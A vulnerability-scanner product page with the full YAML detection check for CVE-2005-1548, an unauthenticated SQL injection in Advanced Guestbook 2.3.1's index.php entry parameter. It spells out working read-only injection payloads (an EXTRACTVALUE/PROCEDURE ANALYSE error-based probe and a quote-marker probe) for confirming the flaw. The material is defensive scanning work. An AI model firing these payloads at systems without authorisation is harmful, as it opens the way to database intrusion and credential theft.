Advanced Guestbook — 1 vulnerability check

noctis ships 1 vulnerability check for Advanced Guestbook, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Advanced Guestbook index.php entry SQL Injection

CVECVE-2005-1548
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/advanced-guestbook/CVE-2005-1548.yaml

Advanced Guestbook 2.3.1 puts the entry paging parameter of index.php unquoted into the LIMIT clause of the query that lists the guestbook entries and prints the database error when that query fails, allowing unauthenticated SQL injection.

This check requests index.php under /guestbook, the web root, /gb and /gbook and keeps the pages that show the Advanced Guestbook footer. It then sends an entry value that makes the database evaluate the product of two random numbers inside an EXTRACTVALUE() call; the vulnerability is confirmed when the returned XPATH error carries the product, which never appears in the request. On databases that do not support that construct, it sends an entry value with a stray quote and a random marker and reports the flaw when the SQL syntax error quotes the marker while a normal entry value shows no error. No table data is read and nothing is written; the guestbook may e-mail the database error to its administrator.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php?entry={{sc.q97}}
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/index.php?entry={{sc.q75}}
  8. HTTP(S) request GET {{dir}}/index.php?entry=0
  9. Parses / computes the next value with a Rhai script
  10. Checks hit97 for ^/ → finding QoD 97: Advanced Guestbook index.php entry SQL Injection (CVE-2005-1548)
  11. Checks hit75 for ^/ → finding QoD 75: Advanced Guestbook index.php entry SQL Injection (CVE-2005-1548)

References:

Feed source — tests/vulnerabilities/advanced-guestbook/CVE-2005-1548.yaml
# Advanced Guestbook 2.3.1 — index.php entry SQL injection — CVE-2005-1548
#
# Advanced Guestbook 2.3.1 (proxy2.de) index.php reads $entry from GET/POST and
# lib/gb.class.php get_entries() builds
#     select x.*, ... group by x.id order by x.id desc limit $entry, $last_entry
# with entry unquoted. A failing query goes through lib/mysql.class.php
# sql_error(), which prints "Query Error" and "Error Number: <n> <mysql_error()>"
# in a <pre> block (and mails the error to the admin address). 2.4.x casts entry
# with intval() in show_entries()/get_entries(). Every page ends with
# "Powered by <a href="http://www.proxy2.de" ...>Advanced Guestbook 2.3.1</font></a>".
#
# Detection, per install dir whose index.php carries that footer:
#   QoD 97 — entry = 0,1 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x7e,a*b)),1)-- -
#            with random 6-digit a, b. MySQL 5.x / MariaDB evaluate the constant
#            argument and fail with "XPATH syntax error: '~<a*b>'". The product
#            is never in the request. No quote in the payload (magic_quotes_gpc
#            is irrelevant), no table referenced, read-only.
#   QoD 75 — servers without PROCEDURE ANALYSE (MySQL 8): entry = 0'<marker>
#            must give "You have an error in your SQL syntax ... near ''<marker>"
#            (or near '\'<marker> under magic_quotes_gpc) while the control
#            entry=0 shows no SQL error.
#
# Better than the source NASL:
#   - its landing regex "proxy2\.de.+>Advanced Guestbook<" requires the bare
#     product name, but the 2.3.1 / 2.4.x footers read ">Advanced Guestbook
#     2.3.1<", so the reference check never reaches its probe on a stock install;
#     this feed accepts a version after the name;
#   - a database-computed value instead of a fixed error string, so a page that
#     merely carries an unrelated SQL error cannot match, plus a marker/control
#     pair for the fallback;
#   - probes /guestbook, the web root, /gb and /gbook.
#
# Source: OpenVAS/Greenbone NVT pre2008/advanced_guestbook.nasl
# (OID 1.3.6.1.4.1.25623.1.0.18217, GPL-2.0-only). Product source read:
# Advanced Guestbook 2.3.1 and 2.4.3 copies on GitHub (me-suzy/PHP,
# loach987/GreekFrontier).
uid: 05e4ffd0-132a-4757-9962-cdba84bddf3f
name: "Advanced Guestbook index.php entry SQL Injection (CVE-2005-1548)"
description: |
  Advanced Guestbook 2.3.1 puts the entry paging parameter of index.php
  unquoted into the LIMIT clause of the query that lists the guestbook entries
  and prints the database error when that query fails, allowing
  unauthenticated SQL injection.

  This check requests index.php under /guestbook, the web root, /gb and /gbook
  and keeps the pages that show the Advanced Guestbook footer. It then sends an
  entry value that makes the database evaluate the product of two random
  numbers inside an EXTRACTVALUE() call; the vulnerability is confirmed when
  the returned XPATH error carries the product, which never appears in the
  request. On databases that do not support that construct, it sends an entry
  value with a stray quote and a random marker and reports the flaw when the
  SQL syntax error quotes the marker while a normal entry value shows no error.
  No table data is read and nothing is written; the guestbook may e-mail the
  database error to its administrator.
cves: [CVE-2005-1548]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [advanced-guestbook, sqli, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1548"
  - "https://www.securityfocus.com/bid/13548"
  - "http://marc.info/?l=bugtraq&m=111566565621193&w=2"
  # OpenVAS/Greenbone NASL pre2008/advanced_guestbook.nasl (GPL-2.0-only)

steps:
  # ── Random operands, marker and the two payloads ──────────────────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let m = "NOCTIS" + rand_int(100000000, 999999999);
      let q = "(?:'|&#0?39;|&#x27;|&apos;)";
      #{ prod: "" + (a * b),
         expr: a + "*" + b,
         mark: m,
         xpath_re: "XPATH syntax error: " + q + "?~" + (a * b),
         syntax_re: "You have an error in your SQL syntax.{0,300}near " + q + "\\\\?" + q + m,
         q97: "0,1%20PROCEDURE%20ANALYSE(EXTRACTVALUE(1,CONCAT(0x7e," + a + "*" + b + ")),1)--%20-",
         q75: "0%27" + m }
    store_as: sc

  - id: init-hit97
    action: set_var
    var_name: hit97
    var_value: ""

  - id: init-hit75
    action: set_var
    var_name: hit75
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/guestbook", "", "/gb", "/gbook"]

  - id: init-is-gb
    action: set_var
    var_name: is_gb
    var_value: false

  - id: init-r97
    action: set_var
    var_name: r97
    var_value: {status: 0, body: ""}

  - id: init-r75
    action: set_var
    var_name: r75
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-try75
    action: set_var
    var_name: try75
    var_value: false

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit97 == "" && hit75 == ""'
    store_as: landing

  - id: gate
    action: script
    condition: 'hit97 == "" && hit75 == ""'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      landing.status == 200 && ereg("proxy2\\.de.{0,300}>\\s*Advanced Guestbook(?:\\s+[0-9][^<]*)?\\s*<", body, true)
    store_as: is_gb

  - id: probe-extractvalue
    action: http_request
    method: GET
    path: "{{dir}}/index.php?entry={{sc.q97}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit97 == "" && hit75 == "" && is_gb == true'
    store_as: r97

  - id: check-extractvalue
    action: script
    condition: 'hit97 == "" && hit75 == "" && is_gb == true'
    code: |
      let body = if type_of(r97.body) == "string" { r97.body } else { "" };
      if ereg(sc.xpath_re, body) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit97

  - id: want-fallback
    action: script
    condition: 'hit97 == "" && hit75 == "" && is_gb == true'
    code: |
      true
    store_as: try75

  - id: probe-quote
    action: http_request
    method: GET
    path: "{{dir}}/index.php?entry={{sc.q75}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'try75 == true'
    store_as: r75

  - id: probe-control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?entry=0"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'try75 == true'
    store_as: ctl

  - id: check-quote
    action: script
    condition: 'try75 == true'
    code: |
      let body = if type_of(r75.body) == "string" { r75.body } else { "" };
      let cbody = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      if ctl.status != 0 && ereg(sc.syntax_re, body, true) && !ereg("SQL syntax|XPATH syntax", cbody, true) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit75

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-97
    action: match
    source: hit97
    pattern: "^/"
    on_match:
      finding:
        title: "Advanced Guestbook index.php entry SQL Injection (CVE-2005-1548)"
        description: "An unauthenticated request to index.php with entry set to an EXTRACTVALUE() call on the product of two random numbers returned an XPATH error carrying the product computed by the database: entry reaches the SQL query unquoted, so an attacker can run arbitrary SQL and read the whole database, including the guestbook administrator credentials."
        remediation: "Upgrade Advanced Guestbook to 2.4 or later, which casts entry with intval(), or remove it: the product is no longer maintained. Do not print database errors to visitors."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit97}}: index.php?entry=0,1 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x7e,{{sc.expr}})),1)-- - returned the database-computed value ~{{sc.prod}} in an XPATH syntax error"
      stop: true

  - id: report-75
    action: match
    source: hit75
    pattern: "^/"
    on_match:
      finding:
        title: "Advanced Guestbook index.php entry SQL Injection (CVE-2005-1548)"
        description: "An unauthenticated request to index.php with an entry value holding a stray quote and a random marker returned an SQL syntax error quoting the marker, while a normal entry value returned no error: entry reaches the SQL query unquoted, so an attacker can run arbitrary SQL."
        remediation: "Upgrade Advanced Guestbook to 2.4 or later, which casts entry with intval(), or remove it: the product is no longer maintained. Do not print database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit75}}: index.php?entry=0'{{sc.mark}} returned an SQL syntax error near ''{{sc.mark}}; the control entry=0 returned none"
      stop: true

View these feeds on GitHub